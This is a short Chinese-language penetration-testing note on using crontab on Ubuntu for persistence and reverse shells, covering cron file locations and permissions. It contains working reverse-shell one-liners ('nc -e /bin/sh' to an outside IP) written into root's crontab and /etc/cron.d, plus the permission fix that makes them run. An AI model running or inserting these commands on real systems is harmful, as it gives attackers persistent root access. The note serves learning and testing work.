1.前言

在linux渗透测试的时候，有时会选择使用计划任务crontab来进行权限维持或者反弹shell，在自己做测试的时候遇见了几个特殊的点做一下记录。

环境为ubuntu。

2.前置知识

各个用户的计划任务文件存在/var/spool/cron/crontabs/中，以用户名来命名。
系统级别的计划任务文件存在/etc/crontab，无论什么用户登陆，都会执行这个文件中的计划任务。
crontab -l 查看当前用户的计划任务
crontab -r 删除当前用户所有的计划任务
crontab -e 编辑当前用户的计划任务

3.测试

如果可以使用shell，直接用crontab命令即可。如果无法使用shell类似于redis未授权漏洞的利用，就需要直接编辑/var/spool/cron/crontabs/文件，但是直接编辑文件，在新版本的linux系统中无法生效。

3.1 使用crontab来设置计划任务

使用crontab命令创建计划任务的话，文件中会含有许多注释，且权限为600。

查看日志可以看到执行了命令：

tail -f /var/log/syslog

执行ls命令，shell反弹成功:

3.2 直接编辑文件设置计划任务

echo "* * * * * root nc -e /bin/sh 172.16.250.1 8888" > /var/spool/cron/crontabs/root

看日志发现报错了，文件权限有问题，而且事实也是一直没有shell反弹回来：

这时候唯一的解决方案就是更改文件权限：

chmod 0600 /var/spool/cron/crontabs/root

发现shell已经回连。

4.总结

直接编辑/var/spool/cron/crontabs/root文件设置root的计划任务是无法成功的，因为文件的权限不是0600。设置的时候尽量使用crontab -e命令。

至于centos的话，就不受影响。

补充：/etc/cron.d与/etc/crontab

可以直接给此文件夹下写计划任务，不需要特殊权限即可执行，但是一定要加上username字段，举例如下增加了root用户：

echo  "* * * * * root nc -e /bin/sh 172.16.250.1 8888" > /etc/cron.d/2

最后补充一下，可进行利用的cron有如下几个地方：

/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件

5.参考文章

crontab踩坑
linux文件权限详解
linux计划任务